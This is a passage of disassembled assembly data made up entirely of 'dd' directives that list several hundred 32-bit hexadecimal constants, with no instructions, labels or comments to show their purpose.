		dd 0ACF28D81h, 8579029Ch, 0A4B47B98h, 7D4F005Eh, 0BF1E7A86h
		dd 0B0BAB576h, 44A4305Ah, 9756F8B6h, 2B44B816h,	14FB1073h
		dd 0D31381B4h, 6000B8CCh, 9E09D463h, 20B730B6h,	8A8F3C34h
		dd 410B6916h, 0AEF15C21h, 0AC0B2E60h, 606A08D9h, 95074504h
		dd 0AD24B4h, 91621287h,	0C2A82C27h, 0A7EB231Eh,	0BE2AA182h
		dd 0A4805743h, 0BA287E2Eh, 0E209BB12h, 0FB3B4020h, 30E726F4h
		dd 79C830C6h, 4000DE1h,	44E9F0DAh, 72282DA1h, 80634E0Ch
		dd 8A3E8DE8h, 6E22A14h,	0FCDA1444h, 0DB890050h,	1D5A14F1h
		dd 0FEE5E8E1h, 8D740560h, 0B08F94EAh, 1F5BD070h, 8260FC97h
		dd 24308D79h, 2030D306h, 12288288h, 0C85DC058h,	0B5052F60h
		dd 9156C410h, 0C2EA0780h, 0F2FCCA91h, 0F1429C20h, 0B06802EEh
		dd 0A66ADF6Ch, 6F775C60h, 884E0BCh, 0ACB91D38h,	78873388h
		dd 97C27F19h, 4FC5ECAh,	40876C12h, 61B150EDh, 17C900F9h
		dd 94D61D3Eh, 0C2002786h, 0A5642855h, 9D1C9721h, 0B05F90E4h
		dd 18E0888h, 3BED7888h,	70A6F1B6h, 9A4003CCh, 4ED0F08Fh
		dd 0D3A4A083h, 0E3E46895h, 0C1E61230h, 0E86CBC05h, 56078C89h
		dd 0C0D4A538h, 7EAE3A72h, 3467610h, 883B6A01h, 0F2B8AED0h
		dd 0B89257h, 983C17E8h,	881D95F2h, 4B9F8C91h, 418072AFh
		dd 6168D9Dh, 0E4FCF403h, 2F0B3C38h, 5C17EF68h, 809C1C91h
		dd 0F11DFFF0h, 0C3250BB6h, 1C947125h, 1A3C0AE7h, 0AE140064h
		dd 88EB73C5h, 2F98809Dh, 0C53EBAA6h, 0A0ECC8D0h, 78901CC0h
		dd 5DD8C109h, 41F47682h, 0FEC438E5h, 89702D0Eh,	1FC86E3Eh
		dd 8F002843h, 0EF886A9Dh, 0BFBD1279h, 0D398BC0Dh, 6180FCE8h
		dd 8481F02Bh, 0B4918200h, 7DEF3241h, 0C0D20189h, 2730ACB0h
		dd 48722E6Dh, 56245C72h, 271AE758h, 0CA446803h,	0F1ED819Ch
		dd 0E109C278h, 8C6C1AA0h, 748C92F8h, 0A869030Dh, 0F9D2E053h
		dd 827CBC9Ch, 74A29F1Dh, 0CC442D0Ch, 23E35Ch, 0D69BEC0Ah
		dd 166F87A6h, 0F0FCD32Dh, 8FE0D924h, 0B0CF4B35h, 1BC0EC9Bh
		dd 0ED14B088h, 69567709h, 50A4822Ah, 0DB920111h, 0ACB03985h
		dd 0C19C0288h, 9B836C23h, 0FE761C61h, 11ACAC90h, 977E2586h
		dd 194170EFh, 0AC25E702h, 0FB8EAC68h, 0D3FC107Eh, 8F23F82Eh
		dd 28646800h, 12168C51h, 0BC3A6652h, 1A7AA26Ch,	496254CDh
		dd 1CAC4118h, 9F1E01D2h, 1F0868F6h, 202C8AB0h, 782F344h
		dd 1F3CE8B5h, 0DED405C3h, 84A40B3Ah, 0F090F67Fh, 0F9DC9Bh
		dd 0EABAE40Eh, 8DB94887h, 0CBCC41F5h, 0E9047D94h, 12B67EF8h
		dd 0AD8E1A9Fh, 0CD14C058h, 0B63A4B4h, 9C075D22h, 260CC058h
		dd 79FB61F7h, 48EE097Ah, 6085D5A0h, 808CAD31h, 0BFCC734Fh
		dd 3DA70085h, 0D2FEAC7Fh
		dd 9C130F63h, 0FCA85D88h, 0A784D48Eh, 0B12CD042h, 61C08663h
		dd 0C0B0DF0Ah, 7D5A3E74h, 954A3B8Eh, 0EA36F4C0h, 9EF6DAF7h
		dd 3300E09h, 4E0C274h, 0A8C078B4h, 27F440E3h, 871BF9Ah
		dd 0B7B22600h, 253206F7h, 0C073ADh, 8725F125h, 913C17BFh
		dd 0AAB0818Ah, 58701112h, 203A97DDh, 0D418D4h, 2C310867h
		dd 0E01CB6B2h, 74C9AC5Ah, 0AC1C752Bh, 8C90ACF4h, 5B0C8402h
		dd 7E81EE09h, 753F4210h, 13AA8E24h, 0B89CEDF0h,	26512632h
		dd 24F205E4h, 18C4D2B3h, 7B3C2057h, 2534ED29h, 4CC66B15h
		dd 0BDCB09Eh, 0C5DA8DD7h, 0CF207444h, 2DEAF85Dh, 20F9A50Ch
		dd 1B1896D9h, 4422FBh, 230543C3h, 83E959h, 46064B25h, 8DAB67E2h
		dd 2A2F04B8h, 0CB1CC068h, 4E0C98A8h, 0C0389A86h, 825AC68Ch
		dd 6C9F4887h, 5C622727h, 17E95856h, 809E11C4h, 0B4FDF644h
		dd 3C71C7h, 2EE1117Ah, 590CAAA1h, 1074F44Ch, 2472F2E8h
		dd 2DE8BE48h, 0F08764C2h, 60FB1911h, 0D91270h, 9A477505h
		dd 0FB1461A9h, 2BF744h,	8B7B2F5Bh, 5D910E89h, 51301117h
		dd 0D6FB4083h, 0D7D60029h, 43039584h, 0DFED3994h, 7FDECFD8h
		dd 0A8088325h, 414FF1Ch, 25044850h, 40687935h, 306C1C2Dh
		dd 4609C4Dh, 0AB60FD1Eh, 0AC7420AFh, 9A007E75h,	0CEEA0DFCh
		dd 58DAF9h, 33DC53CDh, 1C382C2h, 802CFB4Ch, 0E46DA4D7h
		dd 0F3BA005Bh, 0DDB55D29h, 0AB488D4Bh, 0A8415Ch, 896B5BB8h
		dd 0CCB2A44Eh, 0AF77DC02h, 0D548671h, 4DE92100h, 557BE540h
		dd 273EA81Bh, 185510F8h, 560198C2h, 607720BAh, 0A0E486D1h
		dd 2B27BF9h, 59884CD5h,	35DFEDB8h, 4A0D83E4h, 808F79D7h
		dd 49B8ECEh, 0E93CF600h, 3D7B7F64h, 0A7D3BFFh, 54D90F25h
		dd 7CD90905h, 0A7529081h, 44D4A000h, 751FBD01h,	0DAB53729h
		dd 2703F834h, 0B4D0D3D0h, 4B8C4697h, 0B00CF6ECh, 3B80773Ch
		dd 0BE84E5A5h, 8D769Fh,	973E414h, 3E7499EBh, 446B0808h
		dd 17295B0Eh, 79967422h, 188DF104h, 78D70205h, 557D9587h
		dd 456C9457h, 384861BBh, 86FCC410h, 0A85D6305h,	8C88F8B0h
		dd 0D0E56316h, 400328D2h, 5590B46h, 0BEBF1EE0h,	13E4A8AAh
		dd 7A00A3CBh, 6F0B567Ah, 32C903Bh, 0FA84C640h, 0F5A0CE10h
		dd 0E49506B8h, 0A0260130h, 100B97ABh, 102C2FE6h, 8E8C858Ch
		dd 0D0102948h, 403E1821h, 207049E9h, 7B101897h,	85B82F1Dh
		dd 7311E497h, 3D527D80h, 0F2007613h, 0CBBD05E6h, 951BD00Eh
		dd 0D30D8081h, 4AF468A0h, 8F21F0CAh, 0B071C0A1h, 0B200F318h
		dd 0BECD6C1Eh, 9062021h, 50D3737Bh, 8631D8A2h, 4F3C9457h
		dd 88A4CF0Eh, 8447C175h, 2910F05Bh, 733A6A07h, 70AD0CE3h
		dd 8F0737Eh, 213900A4h,	959DE8A8h, 929518ECh, 5EA05EE4h
		dd 443C8A46h, 0BDCE9A12h, 0E4BDD610h, 7A98E6A8h, 62AE320Fh
		dd 0C6BDC5D4h, 86CC0C81h, 7224887Ah, 0C38FBF00h, 76D2D6A6h
		dd 0F6A00347h, 0BC7850DDh, 866F36F0h, 1F61D405h, 88605EA3h
		dd 0A37CE556h, 0F97AE180h, 0AC704D0Bh, 0E9763E54h, 0B0291600h
		dd 9FA49578h, 27AC3E25h, 240810ACh, 0A7F60850h,	0D701E704h
		dd 23C43EEEh, 0A3FF008Bh, 4A874DC8h, 7AF32B34h,	0D42C3CB1h
		dd 0E0E8B6D7h, 2518E4D5h, 0C8711328h, 2B3FA14h,	481C59E5h
		dd 0B500C070h, 0F7ACA2D5h, 3A9037h, 0D4C10E1Fh,	22FB3662h
		dd 6C3A0BFCh, 716600C7h, 30E8F385h, 38B901B3h, 76CA9AA8h
		dd 0FC332ECFh, 0F48041E7h, 0DC9CCF2Fh, 94E20123h, 79836DE7h
		dd 0B42BD7CCh, 5B009C23h, 6101370Eh, 9FE0CDFh, 0D218590h
		dd 0BF86F117h, 8B23A83Bh, 0DD544300h, 24561F6h,	7574017Bh
		dd 30576444h, 2130E704h, 96092F84h, 0D9C45982h,	0E05A1878h
		dd 0F9302496h, 0F3CC080Ch, 5062BF89h, 227098DCh, 60952717h
		dd 25BF9C84h, 0DCC98316h, 0CC60091Ah, 14A72D0Ch, 95C024CDh
		dd 4B21A686h, 8258CCA0h, 88784Ah, 800AE638h, 5B87B79h
		dd 0B0ECBE50h, 120DB740h, 0BD100330h, 0CCA8D754h, 1A763A80h
		dd 0EF00C384h, 9F69A302h, 14B6C1CBh, 0AC6487DFh, 6DA58221h
		dd 610A40E0h, 0EE899402h, 0E0A8282Eh, 11A49F97h, 8501897Ch
		dd 64B11840h, 8078DB6Bh, 0B696D4FDh, 0D8CE09E5h, 9444F592h
		dd 600067ECh, 0E23D966Bh, 7588ECFh, 5556BB3Fh, 19A2E07Dh
		dd 13487388h, 0D8B2306Bh, 5CB672DBh, 88ECB86Fh,	2E200B8Ch
		dd 0D0F8BA41h, 727F9312h, 0A292DCE6h, 308FB228h, 2A00F66Bh
		dd 0AA3B1290h, 47398BAh, 8408E558h, 23740F05h, 0A9D78FBh
		dd 1D07FCD1h, 62FC3D88h, 0D40D19A4h, 1C444467h,	34305160h
		dd 6E0B74F4h, 0E3A71A39h, 5655CFD0h, 95E344B0h,	2E0208E4h
		dd 7A304691h, 2DC0DC48h, 0AD0FFC37h, 64FCE3ABh,	1CA9D0D4h
		dd 9466598Fh, 947D4051h, 6E00FFB8h, 3F82C3CBh, 270EA4DFh
		dd 0A8C24730h, 4676ECD6h, 29A8079Fh, 0AA707EE7h, 5CB4269h
		dd 0A7771CD7h, 73BC9398h, 0E13C8187h, 0A8127FFEh, 40786CE0h
		dd 183B03B9h, 348C0B7h,	6CD53EBAh, 0AC94EE72h, 8C89F844h
		dd 5122CE3Bh, 14DB7A98h, 2E601D80h, 0EB51879Dh,	0BC603890h
		dd 1C268C97h, 0D057C60h, 33AFF555h, 0DB818360h,	8FF88243h
		dd 75372DE2h, 9091541Dh, 88BEC29Ch, 17773EF9h, 8E9D91D4h
		dd 0F597A043h, 4C6BA21h, 5C08E690h, 0E2DCB80Ch,	50D8543Bh
		dd 563E95ECh, 48DA04D5h, 34E07FE6h, 0BF9E3D77h,	0A468A7A5h
		dd 0EF9F02D0h, 0A68540F0h, 5A04EF56h, 40076898h, 594438AEh
		dd 3084794Eh, 25C6BEEh,	0B132DBF9h, 5B944013h, 0F0C7BF7Bh
		dd 5C670264h, 0A06F9E2h, 856CE576h, 8EAE00A9h, 3E0DF4B8h
		dd 0DF5805ACh, 3D017622h, 0A9988552h, 882BE2C8h, 960FC74h
		dd 0BD6E1D59h, 1AA7009Ah, 0D515206h, 240185DEh,	0BF1C9E38h
		dd 0D27A974Ah, 0A449EE00h, 869AF31Eh, 91789CD7h, 19077154h
		dd 0EC61B820h, 8BE00ACEh, 2D28B80Ch, 9070A4DBh,	1B701AAh
		dd 8808CAB9h, 44C56E07h, 0AF9837AEh, 7B00D495h,	4052D114h
		dd 1E78DD0Ch, 0E1CBDF16h, 0EEF97900h, 2EBBD85Ah, 12C8AB75h
		dd 0E8B4C4B2h, 0D4C45040h, 2D639740h, 0DC72FBA4h, 36824220h
		dd 0A1087BC0h, 12528300h, 0DE170A05h, 8A6800F9h, 0BC3E03Eh
		dd 0A10082F4h, 974BF15h, 83948DEDh, 0F2D914F8h,	0A682F509h
		dd 9F60227h, 169844EEh,	0BDA79CD8h, 718F25B0h, 21BB10A0h
		dd 20DC2087h, 3CBEA966h, 44E8F217h, 0E73EA58Fh,	1900F8FAh
		dd 0BE584965h, 0C07B82DAh, 0DE8FF8C1h, 2AED9F9Eh, 0FD45DC0Bh
		dd 0E16FF80h, 0D32FF5C4h, 9848622Ch, 6B112C8h, 4B180ED0h
		dd 15126064h, 0ECF03CF3h, 0F1D30005h, 0B8167DE5h, 0D204E06Fh
		dd 17895511h, 6016B0F3h, 0C864BC88h, 82D4849Eh,	4798F48Ch
		dd 1F4C0F18h, 54D372D8h, 8A9488h, 5FD7CE04h, 0E4C31EE0h
		dd 8C20082Fh, 8868E090h, 0F27F04BFh, 470D3800h,	9464ED5Dh
		dd 0C5EC3209h, 98E6DA71h, 0ED00D5E0h, 47787065h, 0CBB739h
		dd 492B4569h, 0B6EB25AEh, 1780CE48h, 608064FBh,	5F9716DBh
		dd 12FC82C2h, 0CD0A785Eh, 223DD024h, 3CC4BD90h,	0BBD7904h
		dd 9240FCE1h, 0F66DDA8Fh, 886FD25Eh, 0EC0ED617h, 0C8AD4AB4h
		dd 0C67C0BB8h, 98D4EB00h, 6A901599h, 66D0201Fh,	0B559F800h
		dd 0ABC40C79h, 5DC83A33h, 732D303Bh, 0B45CEC8Bh, 0B107C69h
		dd 0C060AE3Ch, 0AC0AB513h, 0C0213E8Dh, 0F32BEF02h, 49074CCh
		dd 0A48F827Eh, 0C8C98A9Ch, 3030012Dh, 0A201699Bh, 0E1E8486Fh
		dd 0B4FE1E09h
		dd 0C1C07128h, 7A7282D5h, 8E072C46h, 0D49100E9h, 555F9543h
		dd 241A9D8Fh, 0FC9A53EDh, 0D45425B0h, 0AE0200F4h, 8F29D683h
		dd 71DD8D07h, 80E0DFCBh, 7D71BE6Fh, 0A2584B4Ch,	98970018h
		dd 0BFF536DFh, 0BB860F6Fh, 426020DBh, 0AD0F1760h, 0B044C097h
		dd 189297DEh, 0E4C8115Dh, 2D3EC4h, 9493D539h, 31CA01D4h
		dd 901C5A01h, 774B6DF6h, 5810E4F8h, 0BD96AC3Ch,	9A2AC20h
		dd 18EB7337h, 20DF027h,	5C7E464Fh, 0B118E176h, 41247F74h
		dd 4808A4E9h, 1ECA009Ch, 9693E4BAh, 1D08BB6Fh, 19C9F02Ah
		dd 0DCCCFE4Bh, 81FE1977h, 16DE0A04h, 40C150E3h,	82049FDCh
		dd 1160FD20h, 6CB90190h, 0C4938A09h, 5178699Ch,	3270B0FBh
		dd 1258986Ch, 0F128E0E6h, 0AC3B2B5Ch, 32008C23h, 2A21653Ah
		dd 88CE9599h, 78B5B7h, 7CD0A689h, 6900986Fh, 28DA4EFDh
		dd 977EFD4h, 64115B1Bh,	0F18DE081h, 0B8CA6BBEh,	0EF71D730h
		dd 94133C46h, 0FCA1AEB6h, 0D128282Eh, 7B7C9CA9h, 27D106Bh
		dd 2902F0F4h, 4602C30h,	0A90DC914h, 60587284h, 0E702D42Dh
		dd 8BCCDA8Dh, 3CBCDB04h, 14A435A3h, 0BDC01304h,	666B38D1h
		dd 18E75800h, 792F9C2Dh, 0F0D12D5Ch, 0C8199679h, 704A8273h
		dd 9D7CE0E8h, 781264E6h, 40F0118Dh, 1E7F09E6h, 545C65E0h
		dd 72DDA11h, 9D8BACA0h,	24093FB7h, 0F174FBh, 97A85697h
		dd 0E4D025DEh, 0A60B10E4h, 0A2956777h, 0D7035314h, 0DE700890h
		dd 0E8D75A1Dh, 28977281h, 0CFE4A285h, 471EE0Dh,	481C4C8Eh
		dd 3B4F2BEh, 9DC31D7h, 0ECFFF892h, 16B5F95h, 13E358FCh
		dd 0C4C1FA72h, 0DC5CC0D2h, 0A0594B13h, 8588E400h, 4FBF1D7Bh
		dd 9FA4C722h, 6E525400h, 0B201473Dh, 2414A864h,	67F1794Ch
		dd 0B7C482F2h, 0E0405448h, 0FE972EE0h, 0E7180C2Dh, 6703E4FCh
		dd 4A6C6FB0h, 17432849h, 4F4B2DDh, 2052771Dh, 686FBAFDh
		dd 0E36CA812h, 0D0F64B9Ch, 8A919CE0h, 0C403F125h, 0D0D395A0h
		dd 0F0233A78h, 4E31073h, 0F6FA0784h, 1C02E5F8h,	0D9B8592Ah
		dd 1697188Fh, 21B751Eh,	817E24E8h, 9CEE78E0h, 0C204C58Bh
		dd 60E98002h, 4AF0E9D3h, 44186CC0h, 91E08B02h, 28018DD3h
		dd 9EF73EA0h, 55FAA303h, 2F03D0B7h, 0C70D2578h,	0EC5251E5h
		dd 43E3FCB6h, 4F1320FFh, 1821AB70h, 74D20417h, 0DAFB00B3h
		dd 2F709150h, 448D055h,	0B2748611h, 18FCBE4Ah, 43DE8F0Bh
		dd 501EC061h, 0F65E2EACh, 8D960402h, 0C4F10D6Fh, 5844B7A0h
		dd 28C15Ch, 77F52213h, 0F642772h, 2B8FEE9Bh, 0E48F588Eh
		dd 4465406Bh, 1C6074E4h, 0B80021CBh, 0FC9E1916h, 40800717h
		dd 3F0E3B93h, 5095B81h,	60E0AA77h, 8A4A0690h, 298C0848h
		dd 8507A807h, 8281A258h, 846B3FC8h, 4D2CAD54h, 3AF5BD50h
		dd 5D431D8h, 48F98DEh, 6A2C820Eh, 89091065h, 46A84813h
		dd 74DA1F17h, 0AC5C5209h, 0D8A6B5ECh, 5EEE9DE0h, 2E5BCF16h
		dd 565BD4F8h, 11448E8h,	0CA12A18Dh, 0F9B891B9h,	0D1F36080h
		dd 7C419384h, 2063682Dh, 642842C4h, 0B534FA8Bh,	5E9048C5h
		dd 0A3CA59B0h, 7A7FF409h, 64187176h, 331D2CE6h,	482844A0h
		dd 0B8182140h, 4877A331h, 5CD297AAh, 8D936118h,	86E2Fh
		dd 0D556024Fh, 385F7D41h, 0B7167740h, 0F1CF90E7h, 6BDF2A82h
		dd 0C949AC96h, 0DCE65FA8h, 93C2C1E0h, 0ED0414FEh, 0F4797DF3h
		dd 23586BABh, 0D29E0288h, 785EED09h, 3E8C64A7h,	0AB80CB47h
		dd 0B599A10Dh, 0C4006488h, 13BF3653h, 0F0976EEBh, 3082F7Ah
		dd 98F66CC2h, 6CC500DCh, 36477F9h, 7004D09Eh, 4C38E553h
		dd 0BF7842EEh, 245CA9E6h, 0FA7182E2h, 74708C4h,	0DA07F4BCh
		dd 0D0CD6FF6h, 0D908C02Ah, 1B778ABFh, 45A179C7h, 4674985Ah
		dd 2FB6008Eh, 0F42254F1h, 0A7EF4AA3h, 0ACEC5CD0h, 50588C04h
		dd 86B0126Ch, 58C510B9h, 4DB8B407h, 4EBD3800h, 9FA54611h
		dd 0AA940043h, 0F391D69Bh, 870456C5h, 747CC904h, 0AA2034AEh
		dd 0FF89E4DBh, 39559D00h, 0AE156A3Dh, 80B85CCBh, 0B8D2E1BEh
		dd 18DA64EDh, 0FA614464h, 0BF9420EFh, 3A979B2Ah, 0DC485450h
		dd 16273A04h, 0D0846670h, 0BA04CC8h, 0B507D6FBh, 0E64BE478h
		dd 0B4B97884h, 4EA5FCE9h, 65C93A00h, 81BBABD4h,	0C6AC3BBDh
		dd 0B44A33C8h, 6F00AE9Ch, 51482956h, 4A43687h, 7A72D7D8h
		dd 8474AE2Bh, 0BC6ABBh,	45BF31EFh, 12B2619Ah, 0FF535FCh
		dd 3F301284h, 0D99725EDh, 181F791Ch, 0EB61070Ah, 504E9015h
		dd 8984950Ch, 2F7C3A00h, 1C87F1D1h, 4303065Fh, 99820718h
		dd 0A2F0D700h, 909D444Ah, 90C495E2h, 28B4909Dh,	127EEC6Ch
		dd 210660C6h, 0BC758104h, 71B52D21h, 0EF568188h, 3129AB46h
		dd 40203BB4h, 36A3625h,	0B2ED2FA3h, 0AE00628Bh,	0BCC72E96h
		dd 0B1EC09C2h, 60782FECh, 4E97FB72h, 48159768h,	0E00C6BFh
		dd 0B979136Dh, 0B8A09894h, 0ECBC9EB6h, 45CD14E0h, 0C203F43h
		dd 8080DB29h, 0ED122EF8h, 209F0689h, 66163008h,	6DF212BAh
		dd 519C4043h, 4874D857h, 0F50B04Ch, 509DAB5h, 0E0B18986h
		dd 0DC9F5FE2h, 0A9809D91h, 47594449h, 5CDC6901h, 74C08E7h
		dd 47D4702Eh, 0A4BC81Fh, 5934B48Eh, 0E090E6D9h,	2A448F6h
		dd 0D28D9A9Ch, 0D019B4Ch, 42ABF30h, 0FE8F86CCh,	0F6DB1420h
		dd 220B0079h, 217BED50h, 5B3B2D1Bh, 7160A508h, 34D10140h
		dd 0F86A3250h, 0D0B8DBA0h, 9E43717h, 0F9E3ACF0h, 0AA602060h
		dd 110CB7D8h, 0EE2A857Bh, 0E605BCACh, 0AE02B810h, 6EFE7C74h
		dd 53750200h, 0DD23D08Dh, 0E3F31480h, 0B89D9418h, 2DD373B0h
		dd 0A0738768h, 1CEB0ABEh, 6742AC89h, 981C574Dh,	18E3E84Eh
		dd 953073E2h, 656600DFh, 0CB327911h, 0E05D219h,	617F7718h
		dd 0FABCD0FDh, 9614C09h, 7414909Ah, 0FB14886Fh,	29EAF20Bh
		dd 91989D7Bh, 0D5448502h, 0D01B81FFh, 779CD841h, 0F2A50B2Dh
		dd 0DE1E126Ch, 82E8E228h, 5D1D4DFBh, 408694A4h,	0E481D6FAh
		dd 2D77E044h, 80D296FBh, 0C28A8877h, 3D2400A4h,	5A8F0738h
		dd 28489095h, 71957D5Fh, 189CF9C0h, 2227090Bh, 7807DF37h
		dd 7D162278h, 7491EC9Dh, 11801A8Fh, 72CB495Ah, 8FB5C301h
		dd 4EF3D00Ch, 3FEB2501h, 0F8DB684Ch, 0FEF12506h, 8978ECF3h
		dd 40FB0174h, 165AE501h, 7C3A3BB8h, 33009F23h, 0CFB136DDh
		dd 464D0084h, 0E31E66CDh, 0AA0B3EBFh, 7AB8658Bh, 0CFD202FCh
		dd 5D947B88h, 0CD5CD885h, 59D10644h, 0D47638h, 4AE24F3Ch
		dd 0E4273BA8h, 70A0D461h, 7D8C1CE8h, 21843AAEh,	0EB1B0881h
		dd 1062D00Dh, 7D2FAB4h,	236C47CBh, 0B6055078h, 0AC13CDA3h
		dd 0C82EFD0h, 403CC159h, 0E248E32Bh, 0A247308Ch, 0D0B9A41Fh
		dd 6FEF580Fh, 9A3AA302h, 0E410D882h, 369F271Eh,	8E324E0h
		dd 0EC943D2Ch, 91018426h, 85CB924Dh, 23E82E3Bh,	0B4720B7Bh
		dd 3B51745Ch, 8DF2D073h, 1CD53F30h, 9612F2FDh, 4B70B8EFh
		dd 0CCACD0EDh, 178D0300h, 33BD79CBh, 6E025A7Bh,	0EEF10074h
		dd 58629CCBh, 30172D6Dh, 1C087850h, 12B59EA7h, 0D2BCF88Fh
		dd 1C8148Bh, 1FBC21C0h,	0F658C468h, 38E70184h, 7089140Ch
		dd 0B4E13EFCh, 0A432D0h, 0E4E004B3h, 12986E99h,	0F6ED148Dh
		dd 0F428B0C0h, 0EA8F0B7Dh, 4C890378h, 1F14375Fh, 718000E7h
		dd 78E6F17Bh, 434A1D74h, 0A498C4E8h, 2E000969h,	0A7067CDFh
		dd 28890D7h, 56DAB241h,	9C7453E5h, 48786D69h, 0D3F504DBh
		dd 0E6F8E06Ch, 28563FF3h, 0D022B4A8h, 5C737725h, 0DB109608h
		dd 1B25805Ch, 25F3F53Dh
		dd 0D473A28Ch, 70385BA7h, 1104525Fh, 4ADF300Eh,	6CA446BBh
		dd 281761A1h, 0D4F96F8Bh, 827D3AE8h, 0DC2C9F2Eh, 7864808h
		dd 0EB8FA4CBh, 7A92D854h, 9ED432AFh, 235CE521h,	588C812Eh
		dd 68F901F2h, 0E18C5420h, 9ED4EB00h, 0C8E4735Ah, 0FAFB4046h
		dd 0F3CC20B5h, 31DB47h,	6FC7CFD4h, 40C0E5Eh, 48371305h
		dd 0E4E99E03h, 2BD8B05Ah, 8534EB2Dh, 31AE3C60h,	8A916D4h
		dd 0F2BF101Eh, 0D7BC090h, 4B78B30Fh, 46CE87Eh, 1F8430E6h
		dd 1D00E8FDh, 282DA2A5h, 0C909FAFBh, 49FC54E4h,	4E3079F8h
		dd 7312416h, 2A89410Ch,	20647CD9h, 0F0E84AF5h, 80EFFB0Ch
		dd 9CEACC39h, 698621h, 0B058B90h, 4464081Eh, 0B434034Eh
		dd 15109C05h, 7BE021AEh, 1080FA81h, 0F178076Fh,	87BDB1C2h
		dd 2CA457AFh, 0E21C419Fh, 982C1B06h, 1E3315C0h,	496FA8Fh
		dd 0B1046106h, 0A2725A31h, 0F4E60024h, 19A0E24Ah, 0C25A24DDh
		dd 16070E84h, 0ABB37A01h, 7B53C10Ch, 5F5B8C00h,	9504F417h
		dd 5A4540ECh, 0A514086Eh, 87380505h, 0FE27D0E8h, 7E0E7C44h
		dd 0E0A37090h, 5EE7AD43h, 0B40C06E9h, 49F3FC76h, 7E97BB0Fh
		dd 0F7C58106h, 9C70E77Dh, 48834908h, 0C17FD018h, 2EFED99Ah
		dd 0AA16FC0Eh, 3A1C2010h, 278354BCh, 0E810F621h, 22C00D3Fh
		dd 1917F45h, 25E201B6h,	5D6181F2h, 30CC6B07h, 0F30240F9h
		dd 97ECDB12h, 631004E9h, 3DBC5044h, 0FFA50200h,	2E8792C7h
		dd 0A0A297A4h, 2C011B40h, 8C4967CDh, 0F4119EDDh, 502F7AFCh
		dd 2B007623h, 0DE1230DFh, 0EFBC043Eh, 0D318D30Dh, 0FCB1AD74h
		dd 0C7C9A5D5h, 609244B0h, 0F0C2784Eh, 0D08C0D95h, 6EF05D9Fh
		dd 68AE7812h, 0E616BD98h, 0C4A67D48h, 73B6C0B0h, 0F028DB24h
		dd 0F81B8F84h, 0C47AAFh, 6815AA9h, 0FB9805Ch, 309CD983h
		dd 7DC17A2h, 856C710Bh,	0B4641F67h, 0A2278F44h,	0F48056ADh
		dd 0FB2E0D09h, 0D49557E8h, 6BAEED93h, 28110138h, 0C42DCAB6h
		dd 0BE6E9C0h, 92E3808h,	0D78BCD3h, 73FF01BBh, 0D650A53Dh
		dd 2C282FE7h, 0D4028A35h, 4C579A64h, 0D91307F8h, 0B0503519h
		dd 4FB708E3h, 6CE6095Bh, 466D53F7h, 0F1155B90h,	0CD8BBE00h
		dd 987D156h, 700E25F9h,	0A1C494C6h, 0FC126B8Ch,	5D019E88h
		dd 47A188F0h, 836F1848h, 0FC2F5794h, 5E000123h,	0D250BB22h
		dd 2E96013Eh, 0A4F32B86h, 0C2D7E9Dh, 7810B5C1h,	0D07097Bh
		dd 38E5583Eh, 0DCB801B4h, 0E914E180h, 13014A27h, 0F7B6BDBh
		dd 7466FFh, 0B6AC20FBh,	0DCE08C4Ah, 15B586D4h, 8391917Ch
		dd 0F9F98745h, 956F3747h, 0C75ABA0h, 5AA08CE6h,	0D89E3EDCh
		dd 0CF180C02h, 2F347274h, 0D0E7868Ch, 0E0639F64h, 25DC16F8h
		dd 7687E326h, 54EBDA0Bh, 0B7BD800Ch, 0B53619C1h, 386495h
		dd 0D5A04A43h, 4985072Eh, 0C79F4Bh, 0C640A82h, 3F033D10h
		dd 4DF5CEC2h, 7A6CFA40h, 0E1AD0158h, 0E417D979h, 1D82123h
		dd 8DB8F4h, 178566E2h, 20FBF272h, 1B7906E0h, 4751B800h
		dd 787F0941h, 9FFB1D1Ah, 70BCC019h, 5DAEE517h, 8CE22398h
		dd 6B85FF16h, 91E0B4E6h, 4C75D39Fh, 0A65D7F0Fh,	0D4346582h
		dd 87E284C1h, 0E4E0B102h, 0E499756Bh, 90B21C92h, 2F3E8A00h
		dd 95B8070Ah, 0CC9BF84Fh, 408AE8C0h, 0B42536B7h, 8185E6Fh
		dd 2C28F408h, 0FD205211h, 611EEEE8h, 8927DA65h,	0C41DD738h
		dd 82817C11h, 2A5530E4h, 8A23A83Eh, 0D2879C02h,	483AD78Bh
		dd 5160244Dh, 0A0A327F5h, 809196D8h, 7C591F4Dh,	0F61C1348h
		dd 2E141404h, 977AD08Ah, 37774C89h, 6EE000CCh, 70F113C4h
		dd 0CBADB909h, 0AC91D532h, 51DFCB83h, 0F16F3A9Bh, 73198082h
		dd 0B7425333h, 0D0140008h, 0F406B99Ah, 0D905BDE7h, 11CD13DEh
		dd 6823D4C1h, 3C08AB05h, 0FBA591h, 0E77E5370h, 0BA2C5430h
		dd 940A97ACh, 75467E28h, 186AC0Eh, 7DC988E0h, 0DCB858BBh
		dd 60C238B0h, 0CB528FBEh, 0A0E3AB80h, 9D8CF69Ch, 32920080h
		dd 0DB976776h, 0FABE7010h, 1E544D00h, 21EFF664h, 0AC1A4E8Ah
		dd 64E688E0h, 9AAB241Dh, 0C096C838h, 0FCEC0D84h, 0B01F641Eh
		dd 0F1E8F2EFh, 7D746110h, 0E9DE351Ch, 0C96B8AC7h, 0C7C4C229h
		dd 60B0442Ch, 18FACAh, 0AC8D7F31h, 2B125E69h, 0B520DB16h
		dd 0C2D290B9h, 375D74FCh, 99804E0h, 0E08CBEE2h,	18E617FEh
		dd 0E3F852A0h, 0E8DAD6ACh, 878DDF85h, 284222D4h, 94D5B86Ah
		dd 8FBD5FB8h, 0C088881Ch, 0D3FBE32Ah, 3CC2A45Ah, 1DAC9063h
		dd 0E3BF5AE0h, 0E65FAFB4h, 0AE36A0A8h, 24C10057h, 9C1288E5h
		dd 5A04EEDAh, 0B340F6BCh, 9E8294C1h, 0C848CE2Ah, 0FFD0C077h
		dd 1801DAA6h, 59703E11h, 0F22AA8A4h, 90648E24h,	74E65800h
		dd 86C377BCh, 0F885089Ah, 5FF57089h, 3BFCBDh, 4E9CFB2h
		dd 0BD10985h, 6A70825Eh, 0B4255844h, 0A574452Ch, 0F4D4F05Eh
		dd 79460581h, 0AEE374B9h, 6AEFE474h, 9EC801E8h,	0E109A538h
		dd 0FB015C32h, 56A251DEh, 54302F9Bh, 951B077Bh,	69B16003h
		dd 39FB92C1h, 0D4BC54h,	0A337D6B7h, 0F9C21EE1h,	713082F2h
		dd 0DABFA16Eh, 0BA48024Eh, 0FA5DED0Dh, 9164975Dh, 0EE05809Dh
